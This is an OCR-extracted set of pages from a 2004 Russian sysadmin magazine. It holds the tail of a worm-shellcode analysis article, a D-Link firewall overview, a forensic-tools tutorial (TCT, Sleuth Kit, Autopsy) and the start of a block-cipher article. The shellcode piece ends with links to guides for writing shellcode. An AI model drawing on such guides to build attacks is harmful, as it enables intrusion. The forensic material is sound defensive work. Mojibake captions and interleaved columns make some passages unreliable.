Сложнее справиться с проблемой «привязки» shellкода к окружающей его среде обитания, например, содержимому регистров, доставшихся червю от уязвимой программы. Как узнать, какое они принимают значение, не обращаясь к уязвимой программе? Ну наверняка-то сказать невозможно, но в подавляющем большинстве случаев это можно просто угадать. Точнее, проанализировав характер обращения с последними, определить: чего именно ожидает червь от них. Маловероятно, чтобы червь закладывался на те или иные константы. Скорее всего он пытается ворваться в определенный блок памяти, указатель на который и хранится в регистре (например, в регистре ECX обычно хранится указатель this). Хуже, если вирус обращается к функциям уязвимой программы, вызывая их по фиксированным адресам. По-
Ðèñóíîê 3. Âèçóàëèçàòîð IDA, îòîáðàæàþùèé ïîòîêè óïðàâëåíèÿ â ôîðìå äèàãðàììû (ìåëêèé ìàñøòàá)
46
безопасность
Ðèñóíîê 4. Âèçóàëèçàòîð IDA, îòîáðàæàþùèé ïîòîêè óïðàâëåíèÿ â ôîðìå äèàãðàììû (êðóïíûì ïëàíîì)
пробуй догадайся, за что каждая функция отвечает! Единственную зацепку дают передаваемые функции аргументы, но эта зацепка слишком слабая для того, чтобы результат исследований можно было назвать достоверным и без дизассемблирования самой уязвимой программы здесь не обойтись. Следует сказать, что дамп, сброшенный операционной системой в ответ на атаку, может и не содержать в себе никаких объектов для исследований, поскольку обрушение системы недвусмысленно указывает на тот факт, что атака не удалась и червь вместо строго дозированного переполнения буфера уничтожил жизненно важные структуры данных. Тем не менее, действуя по методикам, опи-
Что читать
санным в статье «Практические советы по восстановлению системы», опубликованной в декабрьском номере «Системного администратора», мы сможем разгрести этот мусор и локализовать голову червя. Ну а дальше – дело техники.
Заключение Переполнение буфера – в действительности настолько необъятная тема, что даже настоящая статья при всей ее обширности не затрагивает и половины видимой части айсберга, не говоря уже о той глыбе, что спрятана под водой. Но об этом как ни будь в другой раз…
! UNIX Assembly Codes Development for Vulnerabilities
! Win32 One-Way Shallcode – богатейшая кладезь инфор-
Illustration Purposes – великолепное руководство по написанию shell-кодов для различных клонов UNIX с большим количеством примеров, работающих практически на всех современных процессорах, а не только на x86; http://opensores.thebunker.net/pub/mirrors/blackhat/ presentations/bh-usa-01/LSD/bh-usa-01-lsd.pdf Win32 Assembly Components – еще одно великолепное руководство по написанию shell-кодов, на этот раз ориентированное на семейство NT/x86; http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
мации, охватывающая все аспекты жизнедеятельности червей, обитающих в среде NT/x86, да и не только их… http://www.blackhat.com/presentations/bh-asia-03/bh-asia03-chong.pdf SPARC Buer Overows – конспект лекций по технике переполнения буферов на SPARC под UNIX http://www.dopesquad.net/security/defcon-2000.pdf Writing MIPS/IRIX shellcode – руководство по написанию shell-кодов для MIPS/IRIX http://teso.scene.at/articles/mipsshellcode/mipsshellcode.pdf
!
№4(17), апрель 2004
! !
47
безопасность
МЕЖСЕТЕВЫЕ ЭКРАНЫ D-LINK МИХАИЛ ГРИШУНИН Современный мир предъявляет к защите локальных сетей все более жесткие требования. Зачастую стабильная работа компании, ее успешная деятельность и доходы во многом зависят от этого фактора. Если крупная корпорация имеет средства и возможность содержать целые отделы, занимающиеся безопасностью корпоративной сети, то небольшие компании не могут позволить себе включить в штат сетевого администратора. В этих условиях остро возникает необходимость в удобном и надежном инструменте защиты сети, каким является межсетевой экран. На данный момент существует огромное количество реализаций таких устройств. Все они делятся на аппаратные и программные. На первый взгляд, программная реализация межсетевого экрана довольно привлекательна по своим ценовым характеристикам, но, к сожалению, у нее немало недостатков. К таковым можно отнести сложность настройки и администрирования, а также меньшую надежность по сравнению с аппаратными реализациями. Поэтому сегодня хотелось бы подробнее обсудить линейку межсетевых экранов от компании D-Link. Среди них есть устройства, которые могут занять достойное место как в сети крупной компании, так и небольшой организации. Работая в точке подключения к Интернету, они выполняют функции маршрутизатора и межсетевого экрана. D-Link выпускает две группы межсетевых экранов: SOHO и Enterprise. Основные различия этих групп в производительности, техническом исполнении и предназначении определенному типу заказчика. Область применения устройств типа SOHO (Small Office Home Office) – небольшие организации (30-50 рабочих мест), не имеющие в своем штате постоянного системного администратора. Настройка этих устройств очень проста и не требует высокой квалификации персонала. Она целиком производится через веб-интерфейс, что наглядно, удобно, быстро и не требует запоминания огромного количества команд. Группа Enterprise изготавливается в стандартном 19дюймовом исполнении, т.к. предназначена для монтажа в коммуникационный шкаф или стойку. Устройства такого типа рассчитаны на бесперебойное обслуживание сотен и тысяч пользователей. Базовая функциональность межсетевых экранов D-Link расширена включением дополнительных функций, а именно: ! Защита от атак, приводящих к «Отказу от обслуживания» (DoS), таких как Ping of Death, SYN Flood, LAND Attack, IP Spoofing, Teardrop и др. Система Anti-DoS позволяет контролировать число «полуоткрытых» соединений. При превышении данного предела эти соединения разрываются, а администратору сети отправляется предупреждение. Скомпрометировавшие себя хосты заносятся в Blok list.
48
! Списки управления доступом (ACL), реализованные на
!
!
!
!
основе MAC-адресов, IP-адресов и доменных имен. Эта функция обеспечивает доступ к Интернету из локальной сети только доверенных пользователей, а также позволяет ограничивать доступ к нежелательным ресурсам. Поддержка защищенных виртуальных частных сетей (VPN) позволяет безопасно связывать между собой локальные сети филиалов предприятия и мобильных пользователей с использованием шифрованных каналов через Интернет вместо аренды дорогостоящих выделенных каналов. Поддерживаются алгоритмы шифрования DES и 3DES, а также аутентификация MD5 или SHA-1, управление ключами вручную или при помощи Internet Key Exchange (IKE). Возможность центрального управления всей распределенной сетью снижает расходы на администрирование. Выделенный физический DMZ-порт позволяет организовать отдельную подсеть для Web, Mail или FTP-серверов компании и обеспечить доступ к ним из сети Интернет, не подвергая внутреннюю сеть опасности атак извне и уменьшая в ней количество трафика. Применение механизма Multihoming позволяет подключить локальную сеть к Интернету через два и более провайдеров. Основное преимущество этого механизма – получение резервного канала связи при обрыве соединения с одним провайдером и обеспечение постоянного доступа к Web-сервисам, что особенно важно для предприятий и организаций, коммерческая деятельность которых зависит от Интернета. Модель DFL1500 предлагает полнофункциональную функцию Multihoming, которая представляет собой интеллектуальный алгоритм автоматической маршрутизации для динамического распределения трафика между двумя WAN-каналами связи, обеспечивая балансировку нагрузки. Это не требует создания сложных таблиц маршрутизации, как в обычных маршрутизаторах, уменьшая, таким образом, усилия администраторов сети на их создание. Межсетевые экраны D-Link позволяют протоколировать все события, происходящие на межсетевом экране, в журнале системных событий или передавать его на syslog сервера, а при возникновении угрозы безопасности посылать предупреждения по электронной почте. Таким образом, вы можете быть оперативно оповещены о возможной атаке на ваш сервер и вовремя принять адекватные меры.
Более подробные технические консультации по межсетевым экранам D-Link вы можете получить, отправив письмо по адресу support@tayle.com.
безопасность
СВОБОДНЫЕ УТИЛИТЫ FORENSIC
Компьютеры и Интернет продолжают проникать и вторгаться в нашу жизнь, увеличивая тем самым вероятность оказаться жертвой компьютерного преступления. Как ни прискорбно замечать, несмотря на обилие и разнообразие средств защиты, с каждым годом количество взломов увеличивается. Оказавшись жертвой взлома, некоторые, бывает, и теряются, что порой приводит к неправильным решениям. Наверное, одна из самых распространенных ошибок состоит в немедленном удалении всех данных и восстановлении системы из резервных архивов и продолжении работы как ни в чем не бывало (хотя настаивать на своем мнении не буду, бывают разные ситуации). Почему так? Во-первых, не всегда можно сразу точно узнать, когда произошел взлом, и в архиве могут быть уже «зараженные» тем же rootkits файлы; во-вторых, если повезло с первым случаем, то где вероятность того, что злоумышленник не воспользуется тем же способом, что и ранее, для повторного проникновения, и в результате время будет потрачено зря, и в-третьих, иногда трудно сказать, произошел ли взлом вообще, и чтобы доказать это, требуется собрать максимальное количество информации, т.к. простой сервера ведет к финансовым потерям (а еще и имидж, и пр.), и кто-то должен отвечать за это.
СЕРГЕЙ ЯРЕМЧУК 50
безопасность Другой путь состоит в том, чтобы остановиться и попытаться исследовать и проанализировать происшедшее, а главное, сохранить образ взломанного компьютера. К сожалению, насчет вопроса исследования последствий взлома и используемых при этом инструментов в рунете имеется некоторый дефицит информации (а об описываемых ниже утилитах доводилось читать все, кроме того, чем они действительно занимаются), которую одной статьей так сразу и не решить. Но надеюсь вызвать дискуссию (на страницах журнала или в форуме), в которой попытаться разобраться и ответить на извечный вопрос «Что делать?» после взлома. Так, к планированию своих действий в этой ситуации нужно подходить не менее тщательно, чем к действию при пожаре. Если на компьютере установлена одна из систем контроля целостности вроде tripwire (http://www.tripwire.org) или AIDE – Advanced Intrusion Detection Environment (http:// sourceforge.net/projects/aide), а также система обнаружения вторжения наподобие Snort (http://www.snort.org/), плюс средство аудита системы вроде того же Snare (http:// www.intersectalliance.com/projects/Snare/), то у вас будут ответы на основные вопросы – когда и где происходило событие, как все произошло, сколько времени и на какие файлы воздействовали в системе. Теперь осталось осторожно извлечь чужое и проанализировать подробнее. Стандартные инструментальные средства, которые имеются в любой системе, для данного действия не подходят по нескольким причинам. Для начала они могут быть введены в заблуждение при помощи любого широко доступного rootkits, некоторые инструментальные средства полагаются на файловую систему или системные команды, чтобы исследовать диск и поэтому им также нельзя доверять. Затем системные инструментальные средства
могут изменять нужные метаданные (например, время последнего обращения к файлу). И главное, системные утилиты позволяют найти только распределенные файлы, но специализированные могут найти и нераспределенные, т.е. удаленные или спрятанные файлы. И наконец, дополнительно приведенные утилиты могут понадобиться для исследования файловой системы и процессов восстановления данных.
The Coroner’s Toolkit (TCT) Разработанный Dan Farmer и Wietse Venema, это один из самых первых и самых известных и свободных инструментов, предназначенных для сбора данных на скомпрометированной системе (http://www.fish.com/tct). Работает с файловыми системами FFS (FreeBSD, OpenBSD, BSD/OS, Solaris) и EXT2/3FS, также при помощи патча, доступного на сайте, можно заставить работать со второй версией FFS (FreeBSD 5.x), что касается и всех остальных утилит, участвующих в обзоре, к глубокому сожалению, с новыми ФС под Linux – ReiserFS, XFS и JFS они не работают. Одной из особенностей этой и подобных утилит является максимальный отказ от утилит исследуемой операционной системы и максимальное протоколирование всех своих действий. Так, даже вместо системного командного интерпретатора используется свой. Установка заключается в получении архива, его распаковки и ввода команды make. После чего здесь же, в подкаталоге bin, появятся несколько исполняемых файлов. По назначению их можно условно поделить на четыре группы: ! grave-robber – предназначена для захвата данных, включая даже удаленные с диска, но еще открытые и находящиеся в памяти.
Ðèñóíîê 1
№4(17), апрель 2004
51
безопасность
Ðèñóíîê 2
! pcat, ils, icat, file – предназначены для записи и анали- берет в файле conf/look@first и основные настройки беза процессов и данных, содержащихся на диске.
! unrm и lazarus – для восстановления и анализа осво-
рет из файла grave-robber.cf. Вывод выглядит так:
божденных дисковых блоков файловой системы.
! mactime – Perl-скрипт, предназначенный для сбора ин-
# ./grave-robber
формации о времени последнего обращения, изменения и время создания (mtimes, atimes и сtimes или лучше modification, access или change – так запомнить легче) файлов и каталогов, при этом не изменяя их. Теперь поподробней. Некоторые утилиты могут работать как с «живой» файловой системой, так и с образом, созданным при помощи команды dd. #dd if=/dev/hda9 of=./system.img
Для создания «мгновенного» снимка системы предназначена утилита grave-robber. По умолчанию grave-robber фиксирует информацию о процессах и состоянии сетевых соединений, выясняет все, что может, относительно конфигурации аппаратных средств, особенно обращая внимание на диски и дисковые разделы, и исследует состояние критических файлов (конфигурационные файлы, журналы и пр.). Список исследуемых каталогов программа
52
Если требуется задать определенный каталог, необходимо пользоваться опцией -с, которая, в свою очередь, требует опцию -о, указывающую на используемую операционную систему. # ./grave-robber -c /data1 -o LINUX2
Из других параметров, разделенных на три группы (general, micro data collection и macro data collection), особо интересными, по моему мнению, являются (по умолча-
безопасность нию собирается максимальное количество данных, что занимает довольно много времени): ! -l – на живой системе перед сбором информации вызывает lstat(); ! -P – выполняет на живой системе команды ps, lsof, icat для того, чтобы получить данные о выполняемых процессах и делает копии их исполняемых файлов. Icatкоманда требует привилегий и используется только на системах, где к исполняемому файлу нельзя обращаться через /proc файловую систему; ! -s – на живой системе при помощи netstat, df собирает информацию о состоянии хоста и сетевых соединениях; ! -t – собирает информацию от hosts.equiv, .rhosts, and xhost; ! -M – собирает контрольную сумму MD5 для файлов; ! -v – вывод подробных данных.
мы, которые утилита нашла интересными, в основном критические и конфигурационные файлы; proc – копии исполняемых файлов запущенных процессов с контрольными суммами. Может быть еще каталог deleted_files, содержащий удаленные, но еще открытые файлы. Если необходимо просто просмотреть, изменялось ли MAC-время доступа к файлам, начиная с определенного времени (или промежуток при задании двух значений), то запускаем утилиту mactime, в результате получим колонку, состоящую из значений [date time size MAC (т.е. изменившееся поле) perms owner group file]. Давайте посмотрим, какие файлы изменились с 10 января 2004 г. (формат: месяц/дата/год). #./mactime 1/10/2004
В результате работы утилиты в подкаталоге data/ hostname_time (его можно изменить при помощи опции -d), образуется несколько файлов и каталогов.
В body содержится MAC-база времени, body.S тоже, но описаны файлы с установленным SUID; command_out – вывод программ, которые выполняются, с контрольными суммами и временными метками; conf_vault – програм-
То есть с указаного времени изменялся inode (..с) файла deallocvt, если файл недавно копировался или создавался другим способом, то это не должно вызывать подозрений, но если операционная система стоит не один день, а файл находится в неизменяемой обычно области (/bin, /sbin и т. д.), то это должно вызвать подозрения.
Ðèñóíîê 3
№4(17), апрель 2004
53
безопасность
Ðèñóíîê 4
Хотя, как вы понимаете, все эти времена можно без проблем изменить. Далее все, думаю, понятно по аналогии. Из интересных опций следует отметить -s, показывающую файлы с установленным SUID/SGID другим цветом, ее необходимо использовать совместно с -h, устанавливающую вывод в виде html. Просмотреть, чем сейчас занимается тот или иной процесс, найденный при помощи ps, netstat, или lsof, можно, запустив команду pcat, которая копирует содержание его памяти в стандартный вывод. ./pcat 881 | strings | less
Наиболее полную информацию можно получить, используя опцию -H и направив при этом вывод в файл. В остальных опциях лучше один раз увидеть, чем сто раз прочитать. Теперь попробуем найти потерянные или спрятанные файлы. Для этого воспользуемся утилитой ils (inode list), которая открывает названное устройство и перечисляет inode. По умолчанию ils выводит inodes только удаленных файлов. Опций много, наиболее интересные следующие: опция -е выводит список всех inode; -o – выводит список всех inodes удаленных файлов, но таких, которые являются еще открытыми или выполняются; -r выводит список удаленных файлов. # ./ils
54
-or /dev/hda9
Если запустить ее с опцией -о, то будет выведен только inode с номером 1. Поле st_alloc принимает два значения; «a2» – для allocated inode и «f» – для free inode. В первом столбце даны значения inodes удаленных, т.е. не прописанных ни в одном каталоге файлов. Теперь при помощи icat, позволяющей копировать файл, обращаясь к нему не по имени, а по номеру inodes, попробуем скопировать удаленный файл. # ./icat # ./icat /dev/hda9 107 > /tmp/delete_file
Чтобы определить, что за файл находится перед нами, применяется утилита file, которая при помощи трех тестов (filesystem tests, magic number tests и language tests) пытается дать ответ. Первый тест пытается выяснить, является файл двоичным (программа или данные в каком-то формате) или содержит ASCII-текст. На втором этапе при помощи системного вызова stat пытается определить тип (описаны в sys/stat.h). И наконец, пытается определить magic number, сохраненный
безопасность в определенном месте файла и найти соответствующий известному типу файла (например, исполняемый elf или a.out). # ./file /tmp/delete_file
Все, по-моему, понятно без комментариев. От себя добавлю, что вовремя спасенная таким образом программа без проблем открывалась и выполнялась. Применив такую конструкцию, можно попытаться восстановить все удаленные файлы. # ./ils -rf ext2fs /dev/hda9 | awk -F '|' '($2=="f") ↵ {print $1}' | while read i; do /usr/local/tct-1.14/bin/icat /dev/hda9 ↵ $i > /tmp/deleted/$i; done
Но для сохранения данных, содержащихся во всех свободных inodes файловой системы, в отдельный файл для последующего анализа предназначена другая утилита – unrm. При ее использовании необходимо помнить две вещи: записывать результат нужно в другой раздел жесткого диска, иначе потеряете все, и в этом разделе должно быть достаточно места для сохранения данных. Например, если создать образ файловой системы размером 10 Гб, заполненной на 3 Гб при помощи утилиты dd, то он займет 10 Гб, а если при помощи unrm, то места потребуется 7 Гб (10 – 3), плюс столько же для последующего анализа. Если не доверяете системной команде dd, то, запустив unrm с опцией -e, можно создать полный образ раздела: # ./unrm /dev/hda9 > /home/hda9_urm.res
или если извлечь неиспользованные inodes из предварительно созданного dd образа.
# ./unrm /image/system.img > /home/system_urm.res
В результате можем получить файл довольно приличных размеров, который перебрать вручную довольно хлопотное дело. И не надо. Для этого есть специально обученная утилита lazarus, анализирующая поблочно весь файл и пытающаяся определить, что за информация находится в этих блоках, а также связать разрозненные блоки между собой. При этом lazarus понимает кроме FFS, EXT2/3 и NTFS с FAT32. Утилита читает данные порциями размером 1 Кб (значение можно изменить в lazarus.cf в переменной $BLOCK_SIZE), определяет по 10 % блока, что за данные (текст, двоичные, неизвестные) находятся в нем. Если текст, то, используя регулярные выражения, пытается прочитать их, в двоичных пытается определить формат. # ./lazarus -h /home/hda9_urm.res
Вывод утилиты – набор символов (если опция -h, то и HTML-файл, рис. 1), соответствующие распознанным типам блоков, которых lazarus смог определить. Кроме того, в каталоге blocks (определен в переменной $blocks в файле lazaruz.cf или, возможно, переопределить, использовав флаг -D) создаются файлы, которые содержат данные, найденные в блоках. Последовательные блоки того же самого типа считаются одним и тем же файлом и записываются в тот же самый выходной файл $blocks/*. Расшифровка выдаваемых значений видна на рис. 1. Так, буква «T» означает текстовый файл, «M» – почтовый, «C» – код на Cи, точка «.» – файл неопределен. Хотя, бывает, утилита и ошибается. Далее процесс восстановления описан в документе help-
Ðèñóíîê 5
№4(17), апрель 2004
55
безопасность
Ðèñóíîê 6
recovering-file и lazarus.README, которые лежат в подкаталоге doc. Например, текстовые файлы с определенными словами можно попробовать найти при помощи grep:
Для компиляции TCTUtils потребуется наличие установленного TCT, путь к каталогу которого необходимо указать в файле src/Makefile в переменной TCT_DIR. После этого в подкаталоге bin появятся несколько исполняемых файлов.
# egrep -l 'keyword1|keyword2|...' blocks/*.txt > allfiles # ls bin
Вы видите, насколько мощные и удобные инструменты имеются в TCT, но все же их возможностей явно не достаточно. Так, нельзя обеспечить анализ по имени файла, провести соответствие inodes с блоками, просмотреть информацию, находящуюся в отдельных блоках. Поэтому был разработан еще один комплект инструментов, дополняющих TCT, названный TCTUtils (http://www.cerias.purdue.edu/ homes/carrier/forensics/) и использующий его библиотеки. Принцип работы прост и основывается на том, что информация при удалении файла фактически сохраняется в записях каталога. Выглядит это в общем приблизительно так (некоторые подробности работы ext2 смотрите в [1]. Каталог имеет для каждого файла четыре существенные записи: номер inode, длина записи в байтах rec_len, округленная до 4, имя файла (name) и длина имени файла (nam_len). При удалении файла в целях экономии времени запись о нем не удаляется, просто к значению rec_len предыдущего файла добавляется длина удаляемого, т.е. фактически утилиты теперь проскакивают над записью удаленного файла. И теперь утилиты из TCTUtils, анализируя поля, определяют, у которого поле rec_len больше требуемого, и таким образом находят спрятанный файл.
56
Разберем подробнее. В предыдущих примерах мы нашли несколько удаленных файлов и даже успели их спасти. Но кроме номера inode, о файлах не известно больше ничего. Пробуем при помощи утилиты istat извлечь остальную «спрятанную» информацию.
Как видите, теперь, кроме номера inode, стала известна информация о размере файла, владельце, режимах доступа, МАС-временах, и главное, номера дисковых блоков,
безопасность в которых записано тело файла. Чтобы заглянуть внутрь блока, используем другую утилиту bcat, которая может выводить информацию как сырой raw, текст ASCII (опция -а), hexdump (-h), html (-w), выводить статистику (-s), просматривать свап (-f swap). # ./bcat -h /dev/hda9 9364 512
Возможен и обратный поиск, т.е. известен номер блока и требуется найти номер inode, за которым данный блок закреплен. Для этих целей используется команда find_inode. Возможны три результата выполнения: блок будет в списке inode, блока не будет в списке inode и блок является частью большего фрагмента. # ./find_inode /dev/hda9 9364 # ./find_inode /image/system.img 12345
Но искать вручную каждый удаленный файл немного хлопотно, поэтому для начала можно пройтись по разделу или созданному образу утилитой fls, выводящей имена файлов и каталогов, и в том числе недавно удаленных. Из опций утилиты стоит отметить: ! -a – отображает имена файлов, начинающиеся с точки, которые любят использовать взломщики; ! -d – вывод только удаленных файлов (-u – только не удаленных); ! -l – вывод подробной информации о файле; ! -r – рекурсивный обход всех директорий (но не может следовать за удаленными каталогами). # ./fls -rd /dev/hda9
Ðèñóíîê 7
№4(17), апрель 2004
57
безопасность
Ðèñóíîê 8
Пробуем. # ./find_file -a /dev/hda9 107
Хотя программы по-прежнему нет в списке. # ls -al /data1/sort
Как видите, удалось определить, что за файл скрывался в inode под номером 107, который теперь благополучно можно восстановить при помощи icat. Но если под Linux такой номер проходит, то в Solaris можно вообще не получить никакой информации. Удаленные файлы и каталоги помечаются знаком *. Первая буква показывает, что за файл, т.е. r-egular, directory, l-ink, s-ocket или неопределен (?). Найти имя файла или каталога по известному inode можно при помощи утилиты find_file. В man не сказано, что означают те или иные опции, поэтому пришлось поначалу запустить ее со всеми сразу. #./find_file -adu /dev/hda9 107
58
И последняя утилита blockcalc из комплекта TCTUtils предназначена для отображения соответствия между номером блока в образах, созданных при помощи dd и unrm.
# ./blockcalc -u 9364 /image/system.img
Не знаю, что послужило причиной, но TCT и TCTUtils не развиваются уже с 2001 года (но это не значит, что их нельзя использовать и я зря о них рассказывал). Вместо них Brian Carrier выпускает единый комплект утилит, названный Sleuth Kit (http://www.sleuthkit.org/sleuthkit), основанный на их коде, объединяющий основные функциональные возможности и работающий с файловыми системами NTFS, FAT, FFS, EXT2FS и EXT3FS. Последняя на момент написания статьи версия 1.67 от 6 января 2004 года. Для удобства, чтобы лег-
безопасность че было ориентироваться, названия утилит изменены и начинаются на букву, соотвествуюшую тому уровню, на котором они работают. Их несколько: File System Layer – работа с файловой системой; Content Layer (буква d – data) – фактическое содержание блоков, кластеров, фрагментов; Meta Data Layer (inode) – описывает файл или каталог, т.е. все, что можно извлечь из inode; Human Interface Layer (file) – более удобный уровень взаимодействия с файлами, чем при использовании метаданных. Во многих утилитах были добавлены новые опции, например, -m, позволяющая выводить одновременно информацию и о MAC-временах; -z – для указания временного пояса, обязательной стала опция -f, предназначенная для указания файловой системы. После компиляции в подкаталоге bin вы найдете 18 утилит.
# ./mmls -?
т.е. команда для запуска выглядит так: # ./mmls -t dos /image/system.img
Для выдачи информации о состоянии конкретного блока или сектора dstat используется утилита dstat. # ./dstat
С назначением утилит file, icat, ils, mactime, istat, fls мы уже знакомы. Утилита ifind является новой версией find_inode, ffind пришел на замену find_file, dcalc – blockcalc, соответственно, dcat – bcat, dls назывался когда-то unrm, утилиты md5 и sha1 предназначены для работы с контрольными суммами в одноименных алгоритмах. Остались незнакомыми только hfind, dstat, fsstat, mmls и sorter. Появившаяся в Sleuth Kit v1.63 утилита mmls предназначена для вывода таблицы разделов. Ее применение может помочь в поиске «спрятанных» данных, т.к. показывает, какие сектора не используются.
Ðèñóíîê 8à
№4(17), апрель 2004
59
безопасность # ./dstat -f
linux-ext3 /image/system.img 9364
Или для выдачи более подробной информации: # ./dstat -v -f linux-ext3 /image/system.img 19496
Утилита fsstat отображает подробности, связанные с файловой системой. # ./fsstat -f linux-ext3 /data2/bin.img
Утилита hfind как раз и предназначена для поиска хешфункций в предварительно созданной базе. Для сравнения может использоваться предварительно созданная база, тогда ее работа в чем-то напоминает Tripwire. Но наибольшая эффективность от применения будет достигнута при использовании National Software Reference Library (NSRL), которую можно найти на http://www.nsrl.nist.gov/. Проект поддержан Национальным Институтом Американского Министерства юстиции (NIJ, http://www.ojp.usdoj.gov/ nij/sciencetech/ecrime.htm), Национальным Институтом Стандартов и Технологии (NIST) и другими подобными организациями, и предназначен для того, чтобы эффективно использовать компьютерные технологии в расследовании преступлений, инструментом которых является компьютер. NSRL разработана, чтобы собрать программное обеспечение из различных источников и включить профили файлов в справочный информационный набор Reference Data Set (RDS). На декабрь 2003 года NSRL обеспечил профили и цифровые сигнатуры для 17 909 964 файлов. Использовав NSRL, возможно идентифицировать критические системные файлы, которые были изменены, одним из назначений этой библиотеки является поиск программ при расследовании преступлений, направленных против интеллектуальной собственности. Hfind проверяет значения хеш-функции в базе данных, используя двоичный алгоритм поиска. Это быстрее, чем grep, но требует создания индексного файла (опция -i). # ./hfind -h
Применение этой утилиты очень широкое, некоторые варианты даны в man, например, для контроля за наиболее важными системными файлами можно использовать комбинацию: Сначала создаем базу данных, используя md5sum. #
md5sum /bin/* /sbin/* /usr/bin/* /usr/bin/* ↵ /usr/local/bin/* /usr/local/sbin/* > system.md5
Теперь создаем из полученной базы индексный файл. #
До этого все программы предназначались в основном для сбора данных, но вот анализ целиком возлагался на плечи исследователя, и для того, чтобы найти в нескольких гигабайтах информации инструменты взломщика, ему потребуется много опыта, времени, потраченных на исследование.
60
./hfind -i md5sum system.md5
Теперь в текущем каталоге будут находиться два файла. # ls
безопасность Проверяем, что происходит в /bin. # md5sum /bin/* > bin.md5 # ./hfind -f bin.md5 system.md5
Как видите, с /bin/umount что-то случилось после создания базы данных, и его контрольная сумма не совпадает. И наконец, скрипт на Perl – sorter, который анализирует образ при помощи fls и icat, находит файлы, в том числе и скрытые, для найденного файла запускает команду file, для того чтобы его распознать. При использовании библиотеки NSRL возможно отделение плохих файлов от хороших. Список плохих тут же попадет в файл alert.txt. Опция -s позволяет сохранить в указанном каталоге фактическое содержание файла, но для этого необходимо указать при помощи опции -С файл конфигурации, некоторые шаблоны можно найти в каталоге sorter/sort, этот файл позволяет задать соответствие между расширением и типом файла. В каждом файле имеются поля шаблонов (конечно же, можно добавить и свои), например:
Теперь в подкаталоге data появятся до тринадцати файлов, количество которых зависит от типов данных, и файл sorter.sum, в котором содержится суммарная информация о найденных файлах. # ls data
Например, exec.txt содержит рассортированный по алфавиту список исполняемых файлов, найденных в образе.
В общем же случае работа утилиты выглядит так: #mkdir data # ./sorter -d data -f linux-ext3 /image/system.img
Ðèñóíîê 9
№4(17), апрель 2004
61
безопасность
Ðèñóíîê 10
жите на раздел посвободнее. После чего запускаем, опционально можно указать порт. # ./autopsy
Как видите, утилит предостаточно, еще больше у них опций, что, согласитесь, может запутать новичка или человека, не привыкшего к командной строке, что требует некоторое время на освоение и сужает круг пользователей. Поэтому дополнительно к Sleuth Kit был создан инструмент визуализации Autopsy Forensic Browser (http:// www.sleuthkit.org/autopsy/index.php). После распаковки архива и запуска команды make, в ходе работы которой необходимо ответить на вопросы расположения Sleuth Kit, необходимости закачки библиотек NSRL и пути (Evidence Locker), куда будут складываться файлы отчетов, логи и данные. Последние могут потребовать довольно много свободного места, поэтому ука-
62
Вставив строку с URL в браузер, попадаем в окно (см. рис. 2), заметьте, доступна помощь (рис. 3). Первоначально требуется создать базу данных образов, взятых с различных компьютеров командой dd или dls (unrm), на которых будут проводиться исследования. Указываем на образ, с которым будем работать. Для этого жмем на New Case и заполняем пункты, здесь необходимо ввести название и короткое описание, чтобы затем можно было без проблем найти нужный образ. После чего заполняем пункт Adding a New Host, в котором указываем имя компьютера (будет затем создан
безопасность
Ðèñóíîê 11
подкаталог с этим именем в Evidence Locker), его короткое описание, временной пояс и опционально расхождение времени и путь к базам NSRL. И наконец, в Adding a New Image (рис. 4) заполняем данные на исследуемый образ. Обратите внимание, что после ввода пути к образу можно выбрать вариант копирования в папку Evidence Locker, перемещение или вариант по умолчанию – создание симлинка. Здесь же указываем файловую систему и точку монтирования, с которой снимался образ, если известна MD5-сумма, то ее можно указать, по умолчанию она будет высчитана заново, после чего будет выдан итог (рис. 5). Нажав Add Image, можно добавить следующий образ к базе данных. Если не нужно, то теперь можно начинать работать с образом. Например, во вкладке Image Details можно сразу извлечь все строки или удаленные файлы в отдельный файл (рис. 6). А переходя к нужному пункту, можно получить всю необходимую информацию о данных, содержащихся в тех или иных блоках (рис. 8, 8а), причем обратите внимание, доступен вывод информации в нескольких видах (ASCII, Hex, String), добавление комментария к интересному блоку, последовательный просмотр блоков, экспорт блока в отдельный файл. Аналогично можно вывести список файлов (рис. 9), данные о состоянии дисковых inode (рис. 10, 11) и другую информацию, которую можно получить при помощи утилит Sleuth Kit. Если первоначальная возня с образами мне не очень
№4(17), апрель 2004
понравилась, зато последующая работа оставила приятное впечатление, все-таки намного удобнее пользоваться Autopsy Forensic Browser, по крайней мере возможность выбора меня всегда радует. Описанные выше утилиты относятся к так называемым forensic, т.е. применяются для поиска доказательств взлома, которые затем могут быть представлены в суде. Поэтому одним из требований к ним является особо бережное отношение к данным и протоколирование всех действий. Также, чтобы затем не замучили адвокаты, подобные утилиты проходят тщательное тестирование на предмет соответствия поставленной задаче. Для нас подобные разбирательства скорее исключение, чем правило, хотя, правда, это не значит, что хакеры у нас не водятся. Водятся, и в больших количествах. И второе применение этих утилит очевидно – сохранение случайно или умышленно стертых данных. К сожалению, размер статьи разросся до неконтролируемых пределов, поэтому пришлось остановиться, но в будущем надеюсь вернуться к этой теме. Успехов. И чтобы вам никогда не довелось использовать подобные утилиты по назначению.
Литература 1. Мешков В. Архитектура файловой системы ext2. – // Журнал «Системный администратор». №11(12), ноябрь 2003 г., – 26-32с.
63
безопасность
БЛОЧНЫЕ ШИФРЫ
В данной статье приводится краткая характеристика алгоритмов симметричного и асимметричного шифрования, рассматриваются перспективные направления развития современной криптографии, а также приводится блок-схема и программная реализация симметричного алгоритма шифрования TEA.
СТАНИСЛАВ ГОШКО 64
безопасность Основным методом защиты информации от угрозы нарушения ее конфиденциальности является шифрование. Шифрование – это процесс криптографического преобразования информации в соответствии с определенным алгоритмом, при этом результат преобразования зависит от используемого ключа шифрования. Алгоритмы шифрования можно разделить на две основные категории: ! симметричные алгоритмы шифрования; ! асимметричные алгоритмы шифрования.
